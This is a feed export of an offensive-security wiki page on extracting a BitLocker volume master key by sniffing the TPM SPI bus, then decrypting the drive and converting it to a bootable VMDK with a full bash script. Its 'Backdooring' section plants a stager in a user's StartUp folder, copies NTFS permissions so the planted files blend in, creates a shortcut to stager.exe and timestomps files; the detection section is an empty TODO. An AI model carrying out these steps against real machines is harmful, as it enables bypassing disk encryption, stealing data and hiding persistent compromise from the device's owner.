SRC_SIZE=$(du -sb &amp;quot;$DECRYPTED_MOUNT&amp;quot; | cut -f1)&lt;br /&gt;
DST_SIZE=$(du -sb /mnt/new_win | cut -f1)&lt;br /&gt;
print_status &amp;quot;Source: $SRC_SIZE bytes | Destination: $DST_SIZE bytes&amp;quot;&lt;br /&gt;
umount /mnt/new_win&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Formatting recovery partition...&amp;quot;&lt;br /&gt;
mkfs.ntfs -f -Q &amp;quot;${TEMP_LOOP}p4&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Detaching loop device...&amp;quot;&lt;br /&gt;
losetup -d &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
TEMP_LOOP=&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Converting to VMDK...&amp;quot;&lt;br /&gt;
qemu-img convert -f raw -O vmdk -p &amp;quot;$RAW_IMAGE&amp;quot; &amp;quot;$FINAL_VMDK&amp;quot;&lt;br /&gt;
qemu-img info &amp;quot;$FINAL_VMDK&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Cleaning up...&amp;quot;&lt;br /&gt;
rm -f &amp;quot;$RAW_IMAGE&amp;quot;&lt;br /&gt;
rmdir /mnt/new_efi /mnt/old_efi /mnt/new_win 2&amp;gt;/dev/null || true&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;VMDK creation complete! Output: $FINAL_VMDK&amp;quot;&lt;br /&gt;
print_status &amp;quot;Next steps:&amp;quot;&lt;br /&gt;
print_status &amp;quot;1. Import $FINAL_VMDK into VMware/VirtualBox&amp;quot;&lt;br /&gt;
print_status &amp;quot;2. Configure VM as UEFI boot&amp;quot;&lt;br /&gt;
print_status &amp;quot;3. If boot fails, use Windows installation media to run bootrec/bcdboot&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 7: Import VMDK to VMware ===&lt;br /&gt;
&lt;br /&gt;
# Create a new VM&lt;br /&gt;
# Select &#039;&#039;&#039;Use existing virtual disk&#039;&#039;&#039;&lt;br /&gt;
# Select your newly created &amp;lt;code&amp;gt;Windows_Bootable.vmdk&amp;lt;/code&amp;gt;&lt;br /&gt;
# Set Firmware to &#039;&#039;&#039;UEFI&#039;&#039;&#039;&lt;br /&gt;
# RAM: 8GB&lt;br /&gt;
# Processor: 2+ cores&lt;br /&gt;
&lt;br /&gt;
== Troubleshooting ==&lt;br /&gt;
&lt;br /&gt;
If the VM fails to boot:&lt;br /&gt;
&lt;br /&gt;
# Mount a Windows 11 installation ISO&lt;br /&gt;
# Select &#039;&#039;&#039;Repair your computer&#039;&#039;&#039;&lt;br /&gt;
# If that fails: &#039;&#039;&#039;Troubleshoot → Advanced Options → Command Prompt&#039;&#039;&#039;&lt;br /&gt;
# Run the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
diskpart&lt;br /&gt;
list volume&lt;br /&gt;
select volume VOLUME_NUMBER   # Should be your EFI partition&lt;br /&gt;
assign letter S:&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
bcdboot C:\Windows /s S: /f UEFI&lt;br /&gt;
exit   # Remove ISO and reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Backdooring ==&lt;br /&gt;
&lt;br /&gt;
=== Mount Drive (Read Only) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /media/bitlocker&lt;br /&gt;
sudo mkdir -p /media/bitlocker_mount&lt;br /&gt;
&lt;br /&gt;
echo &amp;quot;YOUR_HEX_VMK&amp;quot; | xxd -r -p &amp;gt; vmk.bin&lt;br /&gt;
&lt;br /&gt;
sudo dislocker -r -V /dev/sdX -K vmk.bin -- /media/bitlocker&lt;br /&gt;
sudo mount -o loop,ro -t ntfs-3g /media/bitlocker/dislocker-file /media/bitlocker_mount&lt;br /&gt;
&lt;br /&gt;
mount | grep bitlocker&lt;br /&gt;
&lt;br /&gt;
sudo umount /media/bitlocker_mount&lt;br /&gt;
sudo umount /media/bitlocker&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Deploying Stager ===&lt;br /&gt;
&lt;br /&gt;
The stager should be added to a users StartUp folder.&lt;br /&gt;
&lt;br /&gt;
=== Setting File Permissions ===&lt;br /&gt;
&lt;br /&gt;
Find an existing file from the target user directory and save its permissions:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
getfattr -n system.ntfs_acl -e hex ../../Downloads/desktop.ini &amp;gt; perms.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apply those permissions to all files in the LogiOptionsPlus folder:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find . -exec setfattr -n system.ntfs_acl -v \&lt;br /&gt;
  &amp;quot;$(cat /mnt/Users/domainuser/AppData/Local/perms.txt | cut -d&#039;=&#039; -f2 | head -n2 | tail -n1)&amp;quot; {} \;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify permissions:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ntfssecaudit ffmpeg.dll&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Creating LNK File ===&lt;br /&gt;
&lt;br /&gt;
Using [https://raw.githubusercontent.com/ehusby/mslink/refs/heads/main/mslink_v1.3.sh mslink]:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/home/alaa/mslink_v1.3.sh \&lt;br /&gt;
  -o stager.lnk \&lt;br /&gt;
  -w &#039;C:\Users\domainusers\AppData\Local\YourStager&#039; \&lt;br /&gt;
  -l &#039;C:\Users\domainusers\AppData\Local\YourStager\stager.exe&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apply permissions to the LNK file as well:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
setfattr -n system.ntfs_acl -v \&lt;br /&gt;
  &amp;quot;$(cat /mnt/Users/domainuser/AppData/Local/perms.txt | cut -d&#039;=&#039; -f2 | head -n2 | tail -n1)&amp;quot; \&lt;br /&gt;
  stager.lnk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Timestomping ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
touch -d &amp;quot;2 hours ago&amp;quot; filename&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Detection == &lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Offensive Security]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Offensive_Security/Extract_BitLocker_VMK_from_TPM&amp;diff=2311</id>
		<title>Offensive Security/Extract BitLocker VMK from TPM</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Offensive_Security/Extract_BitLocker_VMK_from_TPM&amp;diff=2311"/>
		<updated>2026-02-18T08:14:10Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Creating LNK File */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= BitLocker VMK Extraction via SPI =&lt;br /&gt;
&lt;br /&gt;
== Prerequisites ==&lt;br /&gt;
* Discrete TPM. Check for specific manufacturer (Infineon, STMicro, Nuvoton). If you see Intel PTT or AMD fTPM in BIOS, that means it&#039;s a firmware-based TPM.&lt;br /&gt;
* A logic analyzer. In the office we have a [https://www.saleae.com/ Saleae].&lt;br /&gt;
* Logic analyzer software. We use [https://www.saleae.com/downloads/ Logic 2].&lt;br /&gt;
&lt;br /&gt;
== Extracting BitLocker VMK ==&lt;br /&gt;
&lt;br /&gt;
=== Locating the TPM Chip ===&lt;br /&gt;
The first step is to locate the TPM chip on the motherboard. The easiest way is to find a schematic for the motherboard and look for the TPM chip description. It is usually close to the CPU.&lt;br /&gt;
&lt;br /&gt;
The best way to find schematics is to find the model number of the motherboard and search for that + &amp;quot;schematics&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Sources for finding schematics:&lt;br /&gt;
* [https://t.me/ schematics|boardviews|ARCHIVE 💻💻]&lt;br /&gt;
* [https://www.badcaps.net/ Badcaps - Laptop, TV, &amp;amp; Other Electronics Repair Forum]&lt;br /&gt;
* Indiafix&lt;br /&gt;
&lt;br /&gt;
Once you locate the correct schematic (typically a .CAD file), leveraging an LLM can significantly accelerate TPM chip identification. LLMs can parse CAD files and quickly pinpoint the TPM component, saving considerable time during the reconnaissance phase.&lt;br /&gt;
&lt;br /&gt;
=== Locating the SPI Bus Pins ===&lt;br /&gt;
After identifying the TPM chip, locate the following SPI bus pins:&lt;br /&gt;
* &#039;&#039;&#039;CLK&#039;&#039;&#039; (Clock)&lt;br /&gt;
* &#039;&#039;&#039;CS&#039;&#039;&#039; (Chip Select)&lt;br /&gt;
* &#039;&#039;&#039;MOSI&#039;&#039;&#039; (Master Out, Slave In)&lt;br /&gt;
* &#039;&#039;&#039;MISO&#039;&#039;&#039; (Master In, Slave Out)&lt;br /&gt;
&lt;br /&gt;
Additionally, establish a proper ground connection to complete the circuit — this step is essential for reliable signal capture.&lt;br /&gt;
&lt;br /&gt;
=== Configuring Logic 2 ===&lt;br /&gt;
Launch Logic 2. Each wire harness on the Saleae analyzer corresponds to a numbered channel in the software. Create a reference table to ensure correct connections and name them accordingly. Example:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Saleae Channel !! Logic 2 Label !! SPI Signal&lt;br /&gt;
|-&lt;br /&gt;
| Channel 0 || D0 || CLK&lt;br /&gt;
|-&lt;br /&gt;
| Channel 1 || D1 || CS&lt;br /&gt;
|-&lt;br /&gt;
| Channel 2 || D2 || MOSI&lt;br /&gt;
|-&lt;br /&gt;
| Channel 3 || D3 || MISO&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Voltage Configuration:&#039;&#039;&#039; Before capturing, set the correct voltage threshold in Logic 2&#039;s device settings. Consult the chip&#039;s datasheet or motherboard schematic to determine the TPM&#039;s operating voltage (typically 1.8V or 3.3V). Select the appropriate voltage level from the device settings panel to ensure accurate signal detection.&lt;br /&gt;
&lt;br /&gt;
=== Adding the SPI Analyzer ===&lt;br /&gt;
In Logic 2, click &#039;&#039;&#039;Analyzers&#039;&#039;&#039; and add the built-in SPI analyzer. Configure with the following settings:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Setting !! Value&lt;br /&gt;
|-&lt;br /&gt;
| MOSI || Assign to your MOSI channel&lt;br /&gt;
|-&lt;br /&gt;
| MISO || Assign to your MISO channel&lt;br /&gt;
|-&lt;br /&gt;
| Clock || Assign to your CLK channel&lt;br /&gt;
|-&lt;br /&gt;
| Enable (CS) || Active High (if probing from flash chip CS line)&lt;br /&gt;
|-&lt;br /&gt;
| Bits per Transfer || 8 bits&lt;br /&gt;
|-&lt;br /&gt;
| Significant Bit || MSB first&lt;br /&gt;
|-&lt;br /&gt;
| Clock State || Rising edge (most TPMs)&lt;br /&gt;
|-&lt;br /&gt;
| Stream to Terminal || Disabled&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{{Note|You may need to test both Clock State and Enable Line settings to identify if the clock is high or low when inactive. If you have captured correct SPI traffic but cannot see the BitLocker VMK, analyze the traffic and adjust settings accordingly.}}&lt;br /&gt;
&lt;br /&gt;
=== Loading the BitLocker SPI Toolkit ===&lt;br /&gt;
To automatically identify the VMK in captured SPI traffic, use the [https://github.com/ReversecLabs/bitlocker-spi-toolkit GitHub - ReversecLabs/bitlocker-spi-toolkit].&lt;br /&gt;
&lt;br /&gt;
# Go to &#039;&#039;&#039;Extensions → Load Existing Extension&#039;&#039;&#039;&lt;br /&gt;
# Navigate to the cloned repo&#039;s &amp;lt;code&amp;gt;analyzer&amp;lt;/code&amp;gt; folder&lt;br /&gt;
# Load the &#039;&#039;&#039;BitLocker-Key-Extractor&#039;&#039;&#039; extension&lt;br /&gt;
# Edit the extension settings and set the &#039;&#039;&#039;Input Analyzer&#039;&#039;&#039; to SPI&lt;br /&gt;
# Enable &#039;&#039;&#039;Stream to Terminal&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Attaching Probes and Capturing ===&lt;br /&gt;
Carefully attach the probe hooks to the SPI bus pins. Ensure each connection is secure and making proper electrical contact — poor connections result in signal noise or data loss. Use a magnifying glass if the pins are very small.&lt;br /&gt;
&lt;br /&gt;
# Click &#039;&#039;&#039;Start&#039;&#039;&#039; in Logic 2&lt;br /&gt;
# Immediately power on the target device&lt;br /&gt;
# Wait until Windows has loaded (Windows logo or login screen is visible)&lt;br /&gt;
# Click &#039;&#039;&#039;Stop&#039;&#039;&#039; to end the capture&lt;br /&gt;
&lt;br /&gt;
In the Analyzers panel, locate the BitLocker Key Extractor output. The BitLocker VMK will be displayed as a &#039;&#039;&#039;32-byte hexadecimal string&#039;&#039;&#039; in the Data field. If not immediately visible, scroll through the analyzer results — the VMK annotation typically appears in the latter portion of the boot sequence.&lt;br /&gt;
&lt;br /&gt;
== Decrypting the Drive ==&lt;br /&gt;
&lt;br /&gt;
{{Warning|It is generally recommended &#039;&#039;&#039;NOT&#039;&#039;&#039; to mount the drive on Windows, as the OS may write to the disk, potentially causing issues.}}&lt;br /&gt;
&lt;br /&gt;
Boot a DFIR operating system from USB, such as:&lt;br /&gt;
* [https://tsurugi-linux.org/ Tsurugi Linux]&lt;br /&gt;
* [https://sumuri.com/ SUMURI Digital Forensics (Paladin OS)]&lt;br /&gt;
&lt;br /&gt;
The following commands will mount the drive as &#039;&#039;&#039;read-only&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create two directories&lt;br /&gt;
sudo mkdir -p /media/bitlocker&lt;br /&gt;
sudo mkdir -p /media/bitlocker_mount&lt;br /&gt;
&lt;br /&gt;
# If your VMK is in hex, convert it to binary&lt;br /&gt;
echo &amp;quot;YOUR_HEX_VMK&amp;quot; | xxd -r -p &amp;gt; vmk.bin&lt;br /&gt;
&lt;br /&gt;
# Use fdisk to identify correct drive&lt;br /&gt;
fdisk -l&lt;br /&gt;
&lt;br /&gt;
# Decrypt with dislocker (READ ONLY)&lt;br /&gt;
sudo dislocker -r -V /dev/sdX -K vmk.bin -- /media/bitlocker&lt;br /&gt;
&lt;br /&gt;
# Mount virtual files&lt;br /&gt;
sudo mount -o loop,ro -t ntfs-3g /media/bitlocker/dislocker-file /media/bitlocker_mount&lt;br /&gt;
&lt;br /&gt;
# Verify read only&lt;br /&gt;
mount | grep bitlocker&lt;br /&gt;
&lt;br /&gt;
# Unmount&lt;br /&gt;
sudo umount /media/bitlocker_mount&lt;br /&gt;
sudo umount /media/bitlocker&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Creating a Bootable VMDK from BitLocker-Encrypted Windows Disk ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1: Mount the Backup Image ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
losetup -Pf --show /path/to/BackupImage.001&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Expected output: &amp;lt;code&amp;gt;/dev/loop0&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/loop1&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Step 2: Inspect Partition Layout ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
fdisk -l /dev/loop1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example output:&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/loop1p1&amp;lt;/code&amp;gt; — 500M EFI System&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/loop1p2&amp;lt;/code&amp;gt; — 128M Microsoft Reserved&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/loop1p3&amp;lt;/code&amp;gt; — 250G Microsoft Basic Data (BitLocker encrypted)&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/loop1p4&amp;lt;/code&amp;gt; — 2.4G Windows Recovery Environment&lt;br /&gt;
&lt;br /&gt;
=== Step 3: Decrypt BitLocker Volume ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &amp;quot;VMK_VALUE&amp;quot; | xxd -r -p &amp;gt; vmk.bin&lt;br /&gt;
dislocker /V /dev/loop1p3 -K vmk.bin -- /mnt/bitlocker&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This creates a decrypted file called &amp;lt;code&amp;gt;dislocker-file&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Step 4: Mount Decrypted Volume ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mount -o loop,ro -t ntfs-3g /mnt/bitlocker/dislocker-file /mnt/bitlocker_mounted&lt;br /&gt;
mount  # Verify mounted with ro&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 5: Verification Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Verify loop devices&lt;br /&gt;
losetup -a&lt;br /&gt;
&lt;br /&gt;
# Check partition details&lt;br /&gt;
parted /dev/loop1 unit MiB print&lt;br /&gt;
&lt;br /&gt;
# Verify mounts&lt;br /&gt;
mount | grep loop&lt;br /&gt;
df -h | grep loop&lt;br /&gt;
&lt;br /&gt;
# Check available space&lt;br /&gt;
df -h &amp;quot;OUTPUT-FOLDER&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Verify required tools&lt;br /&gt;
which mkfs.ntfs rsync parted&lt;br /&gt;
&lt;br /&gt;
# Verify decrypted data&lt;br /&gt;
ls -la /mnt/bitlocker_mounted | head -20&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 6: Create Bootable VMDK (Script) ===&lt;br /&gt;
&lt;br /&gt;
The script below will:&lt;br /&gt;
* Create a 244GB raw disk image (adjust based on your image size)&lt;br /&gt;
* Partition it to match the original Windows disk (EFI + MSR + Windows + Recovery)&lt;br /&gt;
* Format EFI partition (FAT32) and copy boot files&lt;br /&gt;
* Format Windows partition (NTFS) and copy all decrypted data&lt;br /&gt;
* Format recovery partition (NTFS)&lt;br /&gt;
* Convert raw image to VMDK format&lt;br /&gt;
* Clean up temporary files&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Notes before running:&#039;&#039;&#039;&lt;br /&gt;
* Lines 16–21: Verify variables are correct before proceeding&lt;br /&gt;
* Line 92: Change partition size depending on image size&lt;br /&gt;
* Line 106: Change depending on image size&lt;br /&gt;
* &#039;&#039;&#039;Time estimate:&#039;&#039;&#039; 30–60 minutes&lt;br /&gt;
* &#039;&#039;&#039;Temporary space needed:&#039;&#039;&#039; ~250GB&lt;br /&gt;
* &#039;&#039;&#039;Final VMDK size:&#039;&#039;&#039; ~74GB (varies by source image)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
# ==============================================================================&lt;br /&gt;
# Script to create a bootable VMDK from BitLocker-decrypted Windows disk&lt;br /&gt;
# ==============================================================================&lt;br /&gt;
set -e&lt;br /&gt;
&lt;br /&gt;
RED=&#039;\033[0;31m&#039;&lt;br /&gt;
GREEN=&#039;\033[0;32m&#039;&lt;br /&gt;
YELLOW=&#039;\033[1;33m&#039;&lt;br /&gt;
NC=&#039;\033[0m&#039;&lt;br /&gt;
&lt;br /&gt;
ENCRYPTED_LOOP=&amp;quot;/dev/loop0&amp;quot;&lt;br /&gt;
DECRYPTED_MOUNT=&amp;quot;/mnt/hgfs/Shared_Kali/Laptop Image/bitlockermount&amp;quot;&lt;br /&gt;
WORK_DIR=&amp;quot;/mnt/hgfs/Shared_Kali/Laptop Image&amp;quot;&lt;br /&gt;
RAW_IMAGE=&amp;quot;$WORK_DIR/new_bootable_disk.img&amp;quot;&lt;br /&gt;
FINAL_VMDK=&amp;quot;$WORK_DIR/Windows_Bootable.vmdk&amp;quot;&lt;br /&gt;
TEMP_LOOP=&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status() { echo -e &amp;quot;${GREEN}[+]${NC} $1&amp;quot;; }&lt;br /&gt;
print_error()  { echo -e &amp;quot;${RED}[!]${NC} $1&amp;quot;; }&lt;br /&gt;
print_warning(){ echo -e &amp;quot;${YELLOW}[*]${NC} $1&amp;quot;; }&lt;br /&gt;
&lt;br /&gt;
cleanup() {&lt;br /&gt;
    print_warning &amp;quot;Cleaning up...&amp;quot;&lt;br /&gt;
    umount /mnt/new_efi 2&amp;gt;/dev/null || true&lt;br /&gt;
    umount /mnt/old_efi 2&amp;gt;/dev/null || true&lt;br /&gt;
    umount /mnt/new_win 2&amp;gt;/dev/null || true&lt;br /&gt;
    rmdir /mnt/new_efi /mnt/old_efi /mnt/new_win 2&amp;gt;/dev/null || true&lt;br /&gt;
    if [ -n &amp;quot;$TEMP_LOOP&amp;quot; ] &amp;amp;&amp;amp; [ -b &amp;quot;$TEMP_LOOP&amp;quot; ]; then&lt;br /&gt;
        losetup -d &amp;quot;$TEMP_LOOP&amp;quot; 2&amp;gt;/dev/null || true&lt;br /&gt;
    fi&lt;br /&gt;
    qemu-nbd --disconnect /dev/nbd0 2&amp;gt;/dev/null || true&lt;br /&gt;
}&lt;br /&gt;
trap cleanup EXIT&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Running pre-flight checks...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
if [ &amp;quot;$EUID&amp;quot; -ne 0 ]; then&lt;br /&gt;
    print_error &amp;quot;Please run as root&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
if ! command -v sgdisk &amp;amp;&amp;gt; /dev/null; then&lt;br /&gt;
    print_error &amp;quot;sgdisk not installed. Run: apt install gdisk&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
if [ ! -b &amp;quot;$ENCRYPTED_LOOP&amp;quot; ]; then&lt;br /&gt;
    print_error &amp;quot;Encrypted loop device $ENCRYPTED_LOOP not found&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
if [ ! -d &amp;quot;$DECRYPTED_MOUNT&amp;quot; ]; then&lt;br /&gt;
    print_error &amp;quot;Decrypted mount point $DECRYPTED_MOUNT not found&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
AVAILABLE_SPACE=$(df -BG &amp;quot;$WORK_DIR&amp;quot; | awk &#039;NR==2 {print $4}&#039; | sed &#039;s/G//&#039;)&lt;br /&gt;
if [ &amp;quot;$AVAILABLE_SPACE&amp;quot; -lt 250 ]; then&lt;br /&gt;
    print_error &amp;quot;Insufficient disk space. Need ~250GB, have ${AVAILABLE_SPACE}GB&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Pre-flight checks passed!&amp;quot;&lt;br /&gt;
print_warning &amp;quot;This will create a ~240GB disk image. Press Ctrl+C to cancel, or Enter to continue...&amp;quot;&lt;br /&gt;
read&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Creating 244GB raw disk image...&amp;quot;&lt;br /&gt;
qemu-img create -f raw &amp;quot;$RAW_IMAGE&amp;quot; 244198M&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Setting up loop device...&amp;quot;&lt;br /&gt;
TEMP_LOOP=$(losetup -fP --show &amp;quot;$RAW_IMAGE&amp;quot;)&lt;br /&gt;
print_status &amp;quot;Using loop device: $TEMP_LOOP&amp;quot;&lt;br /&gt;
sleep 2&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Creating GPT partition table with sgdisk...&amp;quot;&lt;br /&gt;
sgdisk -Z &amp;quot;$TEMP_LOOP&amp;quot; 2&amp;gt;/dev/null || true&lt;br /&gt;
&lt;br /&gt;
sgdisk -n 1:2048:1026047    -t 1:EF00 -c 1:&amp;quot;EFI system partition&amp;quot;        &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -n 2:1026048:1288191 -t 2:0C01 -c 2:&amp;quot;Microsoft reserved partition&amp;quot; &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -n 3:1288192:494993407 -t 3:0700 -c 3:&amp;quot;Basic data partition&amp;quot;       &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -n 4:494993408:0     -t 4:2700 -c 4:&amp;quot;Basic data partition&amp;quot;         &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -A 1:set:0 &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -A 4:set:62 &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
partprobe &amp;quot;$TEMP_LOOP&amp;quot; 2&amp;gt;/dev/null || true&lt;br /&gt;
sleep 3&lt;br /&gt;
&lt;br /&gt;
if [ ! -b &amp;quot;${TEMP_LOOP}p1&amp;quot; ]; then&lt;br /&gt;
    print_error &amp;quot;Partition creation failed&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
sgdisk -p &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Formatting EFI partition...&amp;quot;&lt;br /&gt;
mkfs.vfat -F32 &amp;quot;${TEMP_LOOP}p1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Copying EFI boot files...&amp;quot;&lt;br /&gt;
mkdir -p /mnt/new_efi /mnt/old_efi&lt;br /&gt;
mount &amp;quot;${TEMP_LOOP}p1&amp;quot; /mnt/new_efi&lt;br /&gt;
mount &amp;quot;${ENCRYPTED_LOOP}p1&amp;quot; /mnt/old_efi&lt;br /&gt;
cp -av /mnt/old_efi/* /mnt/new_efi/&lt;br /&gt;
umount /mnt/new_efi&lt;br /&gt;
umount /mnt/old_efi&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Formatting Windows partition...&amp;quot;&lt;br /&gt;
mkfs.ntfs -f -Q &amp;quot;${TEMP_LOOP}p3&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Copying Windows data...&amp;quot;&lt;br /&gt;
mkdir -p /mnt/new_win&lt;br /&gt;
mount &amp;quot;${TEMP_LOOP}p3&amp;quot; /mnt/new_win&lt;br /&gt;
rsync -aP --info=progress2 &amp;quot;$DECRYPTED_MOUNT/&amp;quot; /mnt/new_win/&lt;br /&gt;
&lt;br /&gt;
SRC_SIZE=$(du -sb &amp;quot;$DECRYPTED_MOUNT&amp;quot; | cut -f1)&lt;br /&gt;
DST_SIZE=$(du -sb /mnt/new_win | cut -f1)&lt;br /&gt;
print_status &amp;quot;Source: $SRC_SIZE bytes | Destination: $DST_SIZE bytes&amp;quot;&lt;br /&gt;
umount /mnt/new_win&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Formatting recovery partition...&amp;quot;&lt;br /&gt;
mkfs.ntfs -f -Q &amp;quot;${TEMP_LOOP}p4&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Detaching loop device...&amp;quot;&lt;br /&gt;
losetup -d &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
TEMP_LOOP=&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Converting to VMDK...&amp;quot;&lt;br /&gt;
qemu-img convert -f raw -O vmdk -p &amp;quot;$RAW_IMAGE&amp;quot; &amp;quot;$FINAL_VMDK&amp;quot;&lt;br /&gt;
qemu-img info &amp;quot;$FINAL_VMDK&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Cleaning up...&amp;quot;&lt;br /&gt;
